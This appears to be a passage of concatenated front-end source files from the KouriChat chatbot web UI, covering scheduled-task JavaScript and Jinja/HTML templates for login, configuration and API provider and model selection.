showToast("未找到指定任务", "error"); return; } // 切换状态 scheduledTasks[taskIndex].is_active = !scheduledTasks[taskIndex].is_active; // 更新隐藏输入框的值 document.getElementById("TASKS").value = JSON.stringify(scheduledTasks); // 更新任务列表UI updateTaskListUI(); // 显示成功提示 const status = scheduledTasks[taskIndex].is_active ? "启用" : "禁用"; showToast( `任务已${status},请点击底部的"保存所有设置"按钮保存更改`, "success" ); } /** * 格式化Cron表达式为可读文本 * @param {string} cronExp - Cron表达式 * @returns {string} 格式化后的文本 */ function formatCronExpression(cronExp) { const [minute, hour, day, month, weekday] = cronExp.split(" "); let result = ""; // 处理星期 if (weekday !== "*") { const weekdays = weekday.split(",").map((w) => { const val = parseInt(w); // cron格式:0=周日, 1=周一, 2=周二, ..., 6=周六 if (val === 0) return "日"; return ["", "一", "二", "三", "四", "五", "六"][val]; }); result += `每周${weekdays.join("、")} `; } else { result += "每天 "; } // 处理时间 if (hour === "*") { result += `每小时${minute}分`; } else { result += `${hour}点${minute}分`; } return result; } /** * 格式化时间间隔为可读文本 * @param {string|number} seconds - 间隔秒数 * @returns {string} 格式化后的文本 */ function formatInterval(seconds) { const intervalSeconds = parseInt(seconds); if (intervalSeconds % 86400 === 0) { // 天 return `每${intervalSeconds / 86400}天`; } else if (intervalSeconds % 3600 === 0) { // 小时 return `每${intervalSeconds / 3600}小时`; } else { // 分钟 return `每${intervalSeconds / 60}分钟`; } } /** * 显示提示消息 * @param {string} message - 消息内容 * @param {string} type - 消息类型(success, error, warning, info) */ function showToast(message, type = "info") { // 检查是否存在全局showSaveNotification函数 if (typeof showSaveNotification === "function") { showSaveNotification(message, type === "error" ? "danger" : type); return; } // 如果没有全局函数,使用alert作为备选 if (type === "error") { alert("错误: " + message); } else { alert(message); } } /** * 删除任务 * @param {string} taskId - 任务ID */ function deleteTask(taskId) { // 从任务列表中删除 scheduledTasks = scheduledTasks.filter((task) => task.task_id !== taskId); // 更新隐藏输入框的值 document.getElementById("TASKS").value = JSON.stringify(scheduledTasks); // 更新任务列表UI updateTaskListUI(); // 显示成功提示 showToast('任务已删除,请点击底部的"保存所有设置"按钮保存更改', "success"); } /** * 删除任务确认模态框 */ const deleteTaskModal = ` <!-- 删除任务确认模态框 --> <div class="modal fade" id="deleteTaskModal" tabindex="-1" aria-labelledby="deleteTaskModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="deleteTaskModalLabel"> <i class="bi bi-exclamation-triangle text-warning me-2"></i>确认删除 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p>确定要删除任务 "<span id="deleteTaskId" class="fw-bold text-primary"></span>" 吗?</p> <p class="text-muted small">此操作不可撤销。</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-danger" id="confirmDeleteTaskBtn"> <i class="bi bi-trash me-1"></i>确认删除 </button> </div> </div> </div> </div> `; /** * 初始化删除任务模态框 */ function initDeleteTaskModal() { // 检查是否已存在删除模态框 if (!document.getElementById("deleteTaskModal")) { // 将模态框HTML添加到页面 document.body.insertAdjacentHTML("beforeend", deleteTaskModal); } } /** * 监听用户列表变化,更新任务发送对象选项 */ function observeUserListChanges() { const userListContainer = document.getElementById( "selected_users_LISTEN_LIST" ); if (!userListContainer) return; // 使用MutationObserver监听用户列表变化 const observer = new MutationObserver(function (mutations) { mutations.forEach(function (mutation) { if (mutation.type === "childList") { // 用户列表发生变化时,更新任务的发送对象选项 updateTaskChatIdOptions(); } }); }); // 开始观察 observer.observe(userListContainer, { childList: true, subtree: true, }); } /** * 页面卸载前的清理工作 */ function cleanup() { // 清理事件监听器等 console.log("定时任务模块清理完成"); } // 页面加载完成后初始化 document.addEventListener("DOMContentLoaded", function () { // 延迟初始化,确保DOM已完全加载 setTimeout(() => { initScheduleTasks(); initDeleteTaskModal(); observeUserListChanges(); }, 500); }); // 页面卸载时清理 window.addEventListener("beforeunload", cleanup);
2302_81798979/KouriChat
src/webui/static/js/schedule-tasks.js
JavaScript
unknown
21,163
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>KouriChat - {% block title %}{% endblock %}</title> <link href="/static/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdn.jsdmirror.com/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css" rel="stylesheet"> <link rel="icon" type="image/x-icon" href="/static/mom.ico"> <script src="/static/js/dark-mode.js"></script> <style> :root { --primary-color: #6366f1; --secondary-color: #4f46e5; --background-color: #f8fafc; --text-color: #1e293b; --card-bg: rgba(255, 255, 255, 0.8); --card-border: rgba(255, 255, 255, 0.5); --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } [data-bs-theme="dark"] { --primary-color: #818cf8; --secondary-color: #6366f1; --background-color: #0f172a; --text-color: #e2e8f0; --card-bg: rgba(30, 41, 59, 0.8); --card-border: rgba(255, 255, 255, 0.1); --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.1); } html, body { height: 100%; margin: 0; } body { background-color: var(--background-color); color: var(--text-color); transition: all 0.3s ease; background-size: cover; background-position: center; background-attachment: fixed; display: flex; flex-direction: column; } .auth-wrapper { flex: 1; display: flex; align-items: center; justify-content: center; padding: 2rem 1rem; } .auth-container { background: var(--card-bg); -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); border-radius: 1rem; border: 1px solid var(--card-border); box-shadow: var(--card-shadow); padding: 2rem; width: 100%; max-width: 400px; transition: all 0.3s ease; animation: fadeIn 0.5s ease-out; } @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .password-input-group { position: relative; } .password-toggle { position: absolute; right: 10px; top: 50%; transform: translateY(-50%); background: none; border: none; color: var(--text-color); opacity: 0.7; cursor: pointer; z-index: 10; padding: 0.5rem; } .alert { display: none; margin-top: 1rem; animation: slideIn 0.3s ease-out; } @keyframes slideIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } } .form-control, .form-check-input { transition: all 0.3s ease; } .form-control:focus { transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } </style> {% block extra_style %}{% endblock %} </head> <body> {% include 'navbar.html' %} <div class="auth-wrapper"> <div class="auth-container"> <div class="text-center mb-4"> <img src="/static/mom.ico" alt="MDM" width="64" height="64" class="rounded-circle mb-3"> <h4>{% block header %}{% endblock %}</h4> <p class="text-muted">{% block subheader %}{% endblock %}</p> </div> {% block content %}{% endblock %} <div class="alert alert-danger" role="alert" id="errorAlert"> <i class="bi bi-exclamation-triangle-fill me-2"></i> <span id="errorMessage"></span> </div> </div> </div> <script src="/static/js/bootstrap.bundle.min.js"></script> <script> // 初始化背景 function initBackground() { fetch('/get_background') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.path) { document.body.style.backgroundImage = `url('${data.path}')`; } }) .catch(error => console.error('Error:', error)); } document.addEventListener('DOMContentLoaded', function() { const darkMode = window.darkMode || new DarkModeManager(); darkMode.applyStoredState(); initBackground(); // 初始化背景 }); function showError(message) { const alert = document.getElementById('errorAlert'); const errorMessage = document.getElementById('errorMessage'); errorMessage.textContent = message; alert.style.display = 'block'; setTimeout(() => { alert.style.display = 'none'; }, 3000); } function togglePassword(inputId) { const input = document.getElementById(inputId); const icon = input.nextElementSibling.querySelector('i'); if (input.type === 'password') { input.type = 'text'; icon.classList.replace('bi-eye', 'bi-eye-slash'); } else { input.type = 'password'; icon.classList.replace('bi-eye-slash', 'bi-eye'); } } </script> {% block extra_script %}{% endblock %} </body> </html>
2302_81798979/KouriChat
src/webui/templates/auth_base.html
HTML
unknown
6,131
<!-- 配置页面 - 使用模块化结构 --> {% extends "config_base.html" %} <!-- 这个文件现在使用模块化的 config_base.html 作为基础 --> <!-- 所有的配置逻辑都已经拆分到各个模块中 --> <!-- 如果需要添加特定的配置页面内容,可以在这里扩展 -->
2302_81798979/KouriChat
src/webui/templates/config.html
HTML
unknown
299
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="KouriChat - 配置中心"> <meta name="keywords" content="AI,KouriChat"> <meta name="theme-color" content="#6366f1"> <title>KouriChat - 配置中心</title> <link href="/static/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdn.jsdmirror.com/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css" rel="stylesheet"> <link rel="icon" type="image/x-icon" href="/static/mom.ico"> <!-- 引入样式文件 --> <link href="/static/css/config-styles.css" rel="stylesheet"> <link href="/static/css/schedule-tasks.css" rel="stylesheet"> <script src="/static/js/bootstrap.bundle.min.js"></script> <script src="/static/js/dark-mode.js"></script> <!-- 引入配置相关的JavaScript文件 --> <script src="/static/js/model-config.js"></script> <script src="/static/js/config-handlers.js"></script> <script src="/static/js/import-export.js"></script> <script src="/static/js/config-utils.js"></script> <script src="/static/js/schedule-tasks.js"></script> </head> <body> <!-- 导入配置项宏 --> {% from 'config_items/macros.html' import render_config_item %} {% include 'navbar.html' %} <main class="container-fluid py-4"> <div class="row"> <!-- 左侧基础配置 --> <div class="col-md-6 pe-md-2"> <div class="config-section h-100"> <h4 class="mb-4"> <i class="bi bi-gear-fill me-2"></i>基础配置 <div class="float-end"> <button type="button" class="btn btn-sm btn-outline-primary me-2" id="exportConfigBtn"> <i class="bi bi-upload me-1"></i>导出配置 </button> <button type="button" class="btn btn-sm btn-outline-primary" id="importConfigBtn"> <i class="bi bi-download me-1"></i>导入配置 </button> </div> </h4> <form id="configForm"> {% include 'config_sections/basic_config.html' %} </form> </div> </div> <!-- 右侧高级配置 --> <div class="col-md-6 ps-md-2"> <div class="config-section h-100"> <h4 class="mb-4"> <i class="bi bi-sliders me-2"></i>高级配置 </h4> <form id="otherConfigForm"> {% include 'config_sections/advanced_config.html' %} <!-- 定时任务配置 --> {% include 'config_sections/schedule_config.html' %} </form> </div> </div> </div> <!-- 定时任务模态框 --> {% include 'config_sections/task_modals.html' %} <!-- 保存按钮 --> {% include 'config_sections/save_button.html' %} </main> <!-- 模态框 --> {% include 'config_sections/modals.html' %} <!-- 定时任务模态框 --> {% include 'config_sections/task_modals.html' %} <!-- 通知组件 --> {% include 'config_sections/notifications.html' %} <!-- 配置数据 --> <script id="config_data" type="application/json"> {{ config_json|safe }} </script> <!-- 主要的配置处理脚本 --> <script src="/static/js/config-main.js"></script> <script src="/static/js/group-chat-config.js"></script> </body> </html>
2302_81798979/KouriChat
src/webui/templates/config_base.html
HTML
unknown
3,761
<div class="mb-3"> <select class="form-select mb-2" id="api_provider_select" onchange="updateApiProvider(this.value)" aria-label="选择API提供商"> <!-- API提供商选项将通过JavaScript动态加载 --> </select> <!-- 添加自定义 API 输入框 --> <div id="customApiInput" class="mb-2" style="display: none;"> <input type="text" class="form-control" placeholder="请输入自定义 API 地址" onchange="updateCustomApi(this.value)"> </div> <!-- 注册链接容器 --> <div id="register_links" class="d-none"> <!-- 注册链接将通过JavaScript动态添加 --> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}" readonly style="display: none;"> </div> <script> // 动态加载API提供商选项 async function loadApiProviders() { try { let configs = null; if (typeof window.getModelConfigs === 'function') { configs = await window.getModelConfigs(); } const apiSelect = document.getElementById('api_provider_select'); if (!apiSelect || !configs || !configs.api_providers) { console.warn('无法加载API提供商配置'); throw new Error('配置加载失败'); } // 清空现有选项 apiSelect.innerHTML = ''; // 按优先级排序并添加选项 const sortedProviders = configs.api_providers .filter(provider => provider.status === 'active') .sort((a, b) => (a.priority || 999) - (b.priority || 999)); sortedProviders.forEach(provider => { const option = document.createElement('option'); option.value = provider.id; option.textContent = provider.name; option.setAttribute('data-url', provider.url); option.setAttribute('data-register', provider.register_url); apiSelect.appendChild(option); }); // 添加自定义选项 const customOption = document.createElement('option'); customOption.value = 'custom'; customOption.textContent = '自定义API提供商'; apiSelect.appendChild(customOption); console.log('✅ API提供商选项加载完成,共', sortedProviders.length + 1, '个选项'); } catch (error) { console.error('❌ 加载API提供商失败,使用默认选项:', error); // 使用默认选项作为回退 const apiSelect = document.getElementById('api_provider_select'); if (apiSelect) { apiSelect.innerHTML = ` <option value="kourichat-global" data-url="https://api.kourichat.com/v1" data-register="https://api.kourichat.com/register">KouriChat API (推荐)</option> <option value="siliconflow" data-url="https://api.siliconflow.cn/v1/" data-register="https://www.siliconflow.cn">硅基流动 API</option> <option value="deepseek" data-url="https://api.deepseek.com/v1" data-register="https://platform.deepseek.com">DeepSeek API</option> <option value="ollama" data-url="http://localhost:11434/api/chat" data-register="https://ollama.ai">本地 Ollama</option> <option value="custom">自定义API提供商</option> `; } } } // 设置初始值 function setInitialValues() { // 检查必要元素 const baseUrlInput = document.getElementById('DEEPSEEK_BASE_URL'); const apiSelect = document.getElementById('api_provider_select'); const modelInput = document.getElementById('MODEL'); if (!baseUrlInput || !apiSelect) { console.error("初始化失败:必要元素未找到"); return; } // 获取当前值 const currentUrl = baseUrlInput.value; const currentModel = modelInput ? modelInput.value : ''; console.log("初始化值 - 当前URL:", currentUrl, "当前模型:", currentModel); // 确定当前使用的API提供商 let currentProviderId = 'kourichat-global'; // 默认值 let found = false; // 查找匹配的API提供商 for (let i = 0; i < apiSelect.options.length; i++) { const option = apiSelect.options[i]; if (option.dataset.url === currentUrl) { currentProviderId = option.value; apiSelect.value = option.value; found = true; break; } } console.log("当前识别的API提供商:", currentProviderId); // 如果没有找到匹配项,可能是自定义API if (!found && currentUrl) { console.log("使用自定义API提供商"); currentProviderId = 'custom'; apiSelect.value = 'custom'; // 显示自定义API输入框 if (typeof showCustomApiInput === 'function') { showCustomApiInput(currentUrl); } else { const customApiInput = document.getElementById('customApiInput'); if (customApiInput) { customApiInput.style.display = 'block'; const input = customApiInput.querySelector('input'); if (input) input.value = currentUrl; } } } // 确保隐藏输入框的值与显示值一致 const hiddenInput = document.querySelector(`input[name="DEEPSEEK_BASE_URL"]`); if (hiddenInput) { hiddenInput.value = currentUrl; } // 延迟初始化模型选择器,确保DOM已更新 setTimeout(() => { // 初始化模型选择器(传递当前API提供商ID) if (typeof initializeModelSelect === 'function') { initializeModelSelect(currentProviderId); } else { console.warn('initializeModelSelect函数未定义,可能导致模型选择器初始化失败'); // 备用:如果没有initializeModelSelect函数,但有updateModelSelect函数 if (typeof window.updateModelSelect === 'function') { console.log("使用updateModelSelect作为备用"); window.updateModelSelect(currentProviderId); } } }, 0); } // 显示自定义API输入框 function showCustomApiInput(value = '') { const customApiInput = document.getElementById('customApiInput'); const hiddenInput = document.querySelector(`input[name="DEEPSEEK_BASE_URL"]`); customApiInput.style.display = 'block'; if (value) { const input = customApiInput.querySelector('input'); input.value = value; // 同时更新隐藏输入框 if (hiddenInput) { hiddenInput.value = value; } } } // 更新API提供商 function updateApiProvider(value) { console.log("更新API提供商:", value); const baseUrlInput = document.getElementById('DEEPSEEK_BASE_URL'); const customApiInput = document.getElementById('customApiInput'); const registerLinks = document.getElementById('register_links'); const hiddenInput = document.querySelector(`input[name="DEEPSEEK_BASE_URL"]`); const modelSelect = document.getElementById('model_select'); // 重置所有状态 customApiInput.style.display = 'none'; registerLinks.classList.add('d-none'); registerLinks.innerHTML = ''; // 处理自定义选项 if (value === 'custom') { showCustomApiInput(); console.log("处理自定义API提供商"); // 确保updateModelSelect函数存在后再调用 if (typeof window.updateModelSelect === 'function') { setTimeout(() => window.updateModelSelect('custom'), 100); } else { console.warn('updateModelSelect函数未定义,延迟初始化'); setTimeout(() => { if (typeof window.updateModelSelect === 'function') { window.updateModelSelect('custom'); } else { console.error('updateModelSelect函数未定义'); } }, 500); } return; } // 处理未选择情况 if (!value) { // 确保updateModelSelect函数存在后再调用 if (typeof window.updateModelSelect === 'function') { window.updateModelSelect(''); } return; } // 获取选中的提供商配置 const selectedOption = document.querySelector(`#api_provider_select option[value="${value}"]`); if (!selectedOption) return; // 更新API URL const apiUrl = selectedOption.dataset.url; baseUrlInput.value = apiUrl; // 同时更新隐藏输入框 if (hiddenInput) { hiddenInput.value = apiUrl; } // 添加标记是否为 Ollama if (value === 'ollama') { baseUrlInput.dataset.isOllama = 'true'; } else { baseUrlInput.dataset.isOllama = 'false'; } // 创建注册按钮 const registerUrl = selectedOption.dataset.register; if (registerUrl) { const link = document.createElement('a'); link.href = registerUrl; link.className = 'btn btn-outline-primary w-100'; link.target = '_blank'; link.innerHTML = `<i class="bi bi-box-arrow-up-right me-1"></i>前往${selectedOption.textContent.replace(' API', '')}注册`; registerLinks.innerHTML = ''; registerLinks.appendChild(link); registerLinks.classList.remove('d-none'); } // 确保updateModelSelect函数存在后再调用 if (typeof window.updateModelSelect === 'function') { console.log("直接调用updateModelSelect:", value); // 使用延时确保DOM已更新 setTimeout(() => window.updateModelSelect(value), 100); } else { console.warn('updateModelSelect函数未定义,延迟初始化'); // 尝试延迟调用,确保函数已加载 setTimeout(() => { if (typeof window.updateModelSelect === 'function') { console.log("延迟调用updateModelSelect:", value); window.updateModelSelect(value); } else { console.error('updateModelSelect函数未定义'); // 初始化模型选择框作为后备方案 if (typeof initializeModelSelect === 'function') { console.log("回退到initializeModelSelect"); initializeModelSelect(value); } } }, 500); } } // 更新自定义API function updateCustomApi(value) { const baseUrlInput = document.getElementById('DEEPSEEK_BASE_URL'); const hiddenInput = document.querySelector(`input[name="DEEPSEEK_BASE_URL"]`); if (value) { baseUrlInput.value = value; // 同时更新隐藏输入框 if (hiddenInput) { hiddenInput.value = value; } } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { // 先加载API提供商选项 loadApiProviders().then(() => { // 加载完成后设置初始值 setTimeout(setInitialValues, 100); }); }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/api_provider.html
HTML
unknown
11,180
<!-- 人设目录选择组件 --> <select class="form-select" id="{{ key }}" name="{{ key }}"> {% for option in config.options %} <option value="{{ option }}" {% if option == config.value %}selected{% endif %}> {{ option.split('/')[-1] }} </option> {% endfor %} </select>
2302_81798979/KouriChat
src/webui/templates/config_items/avatar_dir_selector.html
HTML
unknown
295
<!-- 配置项渲染宏 --> {% macro render_config_item(key, config) %} <style> .form-label { transition: all 0.3s ease; } .form-label:hover { color: var(--primary-color); } .badge { transition: all 0.3s ease; } .badge:hover { transform: scale(1.1); } /* 列表项动画 */ .list-group-item { transition: all 0.3s ease; } .list-group-item:hover { transform: translateX(5px); background: rgba(var(--bs-primary-rgb), 0.1); } /* 按钮动画 */ .btn { transition: all 0.3s ease; } .btn:hover { transform: translateY(-2px); } /* 输入框动画 */ .form-control { transition: all 0.3s ease; } .form-control:focus { transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } </style> <label class="form-label"> <span class="badge badge-info rounded-pill me-2" data-bs-toggle="tooltip" title="{{ key }}"> <i class="bi bi-info-circle"></i> </span> {{ config.description }} </label> {% if key == 'LISTEN_LIST' %} {% include 'config_items/listen_list.html' %} {% elif key == 'DEEPSEEK_BASE_URL' %} {% include 'config_items/api_provider.html' %} {% elif key == 'MODEL' %} {% include 'config_items/model_selector.html' %} {% elif key == 'VISION_BASE_URL' %} {% include 'config_items/vision_api_provider.html' %} {% elif key == 'VISION_MODEL' %} {% include 'config_items/vision_model_selector.html' %} {% elif key == 'TEMPERATURE' or key == 'VISION_TEMPERATURE' %} {% include 'config_items/temperature_slider.html' %} {% elif key == 'NETWORK_SEARCH_ENABLED' or key == 'WEBLENS_ENABLED' or config.value is boolean %} {% include 'config_items/switch_toggle.html' %} {% elif key == 'AVATAR_DIR' %} {% include 'config_items/avatar_dir_selector.html' %} {% else %} {% include 'config_items/text_input.html' %} {% endif %} {% endmacro %}
2302_81798979/KouriChat
src/webui/templates/config_items/config_item.html
HTML
unknown
2,003
<!-- 群聊配置组件 --> <div class="mb-3"> <!-- 添加群聊配置按钮 --> <div class="d-flex justify-content-between align-items-center mb-3"> <span class="text-muted small"> <i class="bi bi-info-circle me-1"></i>为不同群聊配置专用人设和触发词 <br><i class="bi bi-exclamation-triangle text-warning me-1"></i>当前版本仅支持一个群聊配置,多个群聊会导致记忆混乱 </span> <button type="button" id="addGroupChatBtn" class="btn btn-primary btn-sm" onclick="addGroupChatConfig()"> <i class="bi bi-plus-lg me-1"></i>添加群聊配置 </button> </div> <!-- 群聊配置列表 --> <div id="groupChatConfigList" class="mb-3"> <!-- 群聊配置项将通过JavaScript动态添加 --> </div> <!-- 隐藏的配置数据存储 --> <input type="hidden" id="{{ key }}" name="{{ key }}" value='{{ config.value | tojson }}'> </div> <style> .config-item { transition: all 0.3s ease; background: rgba(255, 255, 255, 0.02); } .config-item:hover { background: rgba(255, 255, 255, 0.05); transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .config-item .list-group:empty::after { content: "暂无触发词,请添加"; color: var(--bs-secondary); font-size: 0.875rem; font-style: italic; display: block; text-align: center; padding: 1rem; border: 1px dashed var(--bs-border-color); border-radius: 0.375rem; background: rgba(255, 255, 255, 0.02); } </style>
2302_81798979/KouriChat
src/webui/templates/config_items/group_chat_config.html
HTML
unknown
1,678
<div class="mb-3"> <select class="form-select mb-2" id="intent_api_provider_select" onchange="updateIntentApiProvider(this.value)" aria-label="选择意图识别API提供商"> <!-- API提供商选项将通过JavaScript动态加载 --> </select> <!-- 添加自定义 API 输入框 --> <div id="intentCustomApiInput" class="mb-2" style="display: none;"> <input type="text" class="form-control" placeholder="请输入自定义 API 地址" onchange="updateIntentCustomApi(this.value)"> </div> <!-- 注册链接容器 --> <div id="intent_register_links" class="d-none"> <!-- 注册链接将通过JavaScript动态添加 --> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}" readonly style="display: none;"> </div> <script> // 动态加载意图识别API提供商选项 async function loadIntentApiProviders() { try { let configs = null; if (typeof window.getModelConfigs === 'function') { configs = await window.getModelConfigs(); } const apiSelect = document.getElementById('intent_api_provider_select'); if (!apiSelect || !configs || !configs.api_providers) { console.warn('无法加载意图识别API提供商配置'); throw new Error('配置加载失败'); } // 清空现有选项 apiSelect.innerHTML = ''; // 按优先级排序并添加选项 const sortedProviders = configs.api_providers .filter(provider => provider.status === 'active') .sort((a, b) => (a.priority || 999) - (b.priority || 999)); sortedProviders.forEach(provider => { const option = document.createElement('option'); option.value = provider.id; option.textContent = provider.name; option.setAttribute('data-url', provider.url); option.setAttribute('data-register', provider.register_url); apiSelect.appendChild(option); }); // 添加自定义选项 const customOption = document.createElement('option'); customOption.value = 'custom'; customOption.textContent = '自定义API提供商'; apiSelect.appendChild(customOption); console.log('✅ 意图识别API提供商选项加载完成,共', sortedProviders.length + 1, '个选项'); } catch (error) { console.error('❌ 加载意图识别API提供商失败,使用默认选项:', error); // 使用默认选项作为回退 const apiSelect = document.getElementById('intent_api_provider_select'); if (apiSelect) { apiSelect.innerHTML = ` <option value="kourichat-global" data-url="https://api.kourichat.com/v1" data-register="https://api.kourichat.com/register">KouriChat API (推荐)</option> <option value="siliconflow" data-url="https://api.siliconflow.cn/v1/" data-register="https://www.siliconflow.cn">硅基流动 API</option> <option value="deepseek" data-url="https://api.deepseek.com/v1" data-register="https://platform.deepseek.com">DeepSeek API</option> <option value="ollama" data-url="http://localhost:11434/api/chat" data-register="https://ollama.ai">本地 Ollama</option> <option value="custom">自定义API提供商</option> `; } } } // 设置意图识别初始值 function setIntentInitialValues() { // 检查必要元素 const baseUrlInput = document.getElementById('INTENT_BASE_URL'); const apiSelect = document.getElementById('intent_api_provider_select'); const modelInput = document.getElementById('INTENT_MODEL'); if (!baseUrlInput || !apiSelect) { console.error("意图识别初始化失败:必要元素未找到"); return; } // 获取当前值 const currentUrl = baseUrlInput.value; const currentModel = modelInput ? modelInput.value : ''; console.log("意图识别初始化值 - 当前URL:", currentUrl, "当前模型:", currentModel); // 确定当前使用的API提供商 let currentProviderId = 'kourichat-global'; // 默认值 let found = false; // 查找匹配的API提供商 for (let i = 0; i < apiSelect.options.length; i++) { const option = apiSelect.options[i]; if (option.dataset.url === currentUrl) { currentProviderId = option.value; apiSelect.value = option.value; found = true; break; } } console.log("当前识别的意图识别API提供商:", currentProviderId); // 如果没有找到匹配项,可能是自定义API if (!found && currentUrl) { console.log("使用自定义意图识别API提供商"); currentProviderId = 'custom'; apiSelect.value = 'custom'; // 显示自定义API输入框 showIntentCustomApiInput(currentUrl); } // 确保隐藏输入框的值与显示值一致 const hiddenInput = document.querySelector(`input[name="INTENT_BASE_URL"]`); if (hiddenInput) { hiddenInput.value = currentUrl; } // 延迟初始化模型选择器,确保DOM已更新 setTimeout(() => { // 初始化模型选择器(传递当前API提供商ID) if (typeof initializeIntentModelSelect === 'function') { initializeIntentModelSelect(currentProviderId); } else if (typeof window.updateIntentModelSelect === 'function') { console.log("使用updateIntentModelSelect作为备用"); window.updateIntentModelSelect(currentProviderId); } }, 0); } // 显示意图识别自定义API输入框 function showIntentCustomApiInput(value = '') { const customApiInput = document.getElementById('intentCustomApiInput'); const hiddenInput = document.querySelector(`input[name="INTENT_BASE_URL"]`); customApiInput.style.display = 'block'; if (value) { const input = customApiInput.querySelector('input'); input.value = value; // 同时更新隐藏输入框 if (hiddenInput) { hiddenInput.value = value; } } } // 更新意图识别API提供商 function updateIntentApiProvider(value) { console.log("更新意图识别API提供商:", value); const baseUrlInput = document.getElementById('INTENT_BASE_URL'); const customApiInput = document.getElementById('intentCustomApiInput'); const registerLinks = document.getElementById('intent_register_links'); const hiddenInput = document.querySelector(`input[name="INTENT_BASE_URL"]`); // 重置所有状态 customApiInput.style.display = 'none'; registerLinks.classList.add('d-none'); registerLinks.innerHTML = ''; // 处理自定义选项 if (value === 'custom') { showIntentCustomApiInput(); console.log("处理自定义意图识别API提供商"); if (typeof window.updateIntentModelSelect === 'function') { setTimeout(() => window.updateIntentModelSelect('custom'), 100); } return; } // 处理未选择情况 if (!value) { if (typeof window.updateIntentModelSelect === 'function') { window.updateIntentModelSelect(''); } return; } // 获取选中的提供商配置 const selectedOption = document.querySelector(`#intent_api_provider_select option[value="${value}"]`); if (!selectedOption) return; // 更新API URL const apiUrl = selectedOption.dataset.url; baseUrlInput.value = apiUrl; // 同时更新隐藏输入框 if (hiddenInput) { hiddenInput.value = apiUrl; } // 添加标记是否为 Ollama if (value === 'ollama') { baseUrlInput.dataset.isOllama = 'true'; } else { baseUrlInput.dataset.isOllama = 'false'; } // 创建注册按钮 const registerUrl = selectedOption.dataset.register; if (registerUrl) { const link = document.createElement('a'); link.href = registerUrl; link.className = 'btn btn-outline-primary w-100'; link.target = '_blank'; link.innerHTML = `<i class="bi bi-box-arrow-up-right me-1"></i>前往${selectedOption.textContent.replace(' API', '')}注册`; registerLinks.innerHTML = ''; registerLinks.appendChild(link); registerLinks.classList.remove('d-none'); } // 确保updateIntentModelSelect函数存在后再调用 if (typeof window.updateIntentModelSelect === 'function') { console.log("直接调用updateIntentModelSelect:", value); setTimeout(() => window.updateIntentModelSelect(value), 100); } else { console.warn('updateIntentModelSelect函数未定义,延迟初始化'); setTimeout(() => { if (typeof window.updateIntentModelSelect === 'function') { console.log("延迟调用updateIntentModelSelect:", value); window.updateIntentModelSelect(value); } else { console.error('updateIntentModelSelect函数未定义'); } }, 500); } } // 更新意图识别自定义API function updateIntentCustomApi(value) { const baseUrlInput = document.getElementById('INTENT_BASE_URL'); const hiddenInput = document.querySelector(`input[name="INTENT_BASE_URL"]`); if (value) { baseUrlInput.value = value; // 同时更新隐藏输入框 if (hiddenInput) { hiddenInput.value = value; } } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { // 先加载API提供商选项 loadIntentApiProviders().then(() => { // 加载完成后设置初始值 setTimeout(setIntentInitialValues, 100); }); }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/intent_api_provider.html
HTML
unknown
10,015
<!-- 意图识别模型选择器 --> <div class="mb-3"> <select class="form-select mb-2" id="intent_model_select" aria-label="选择意图识别模型"> <!-- 模型选项将通过JavaScript动态加载 --> <option value="custom">自定义模型</option> </select> <!-- 自定义模型输入框 --> <div id="intentCustomModelInput" class="mb-2" style="display: none;"> <input type="text" class="form-control" placeholder="请输入自定义模型名称" id="intentCustomModelInputField"> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}" readonly style="display: none;"> </div> <script> // 意图识别模型选择器处理函数 window.intentModelSelectHandler = function() { console.log("初始化意图识别模型选择器处理"); // 获取元素 const modelSelect = document.getElementById('intent_model_select'); const modelInput = document.getElementById('{{ key }}'); const customModelInput = document.getElementById('intentCustomModelInput'); // 检查必要元素 if (!modelSelect) { console.error("意图识别模型选择器未找到!"); return; } if (!modelInput) { console.error("INTENT_MODEL输入框未找到!"); return; } // 获取当前保存的模型值 const savedModelValue = modelInput.value || ''; // 模型选择变更处理函数 function handleIntentModelChange(value) { console.log("处理意图识别模型选择变更:", value); if (!customModelInput) { console.error("自定义意图识别模型输入框未找到!"); return; } if (value === 'custom') { console.log("显示自定义意图识别模型输入框"); customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { // 如果有保存的值,填充到输入框 if (savedModelValue && !isIntentPresetModel(savedModelValue)) { inputField.value = savedModelValue; } // 聚焦输入框 inputField.focus(); } } else { console.log("隐藏自定义意图识别模型输入框"); customModelInput.style.display = 'none'; if (value) { modelInput.value = value; // 触发change事件确保值被保存 modelInput.dispatchEvent(new Event('change', { bubbles: true 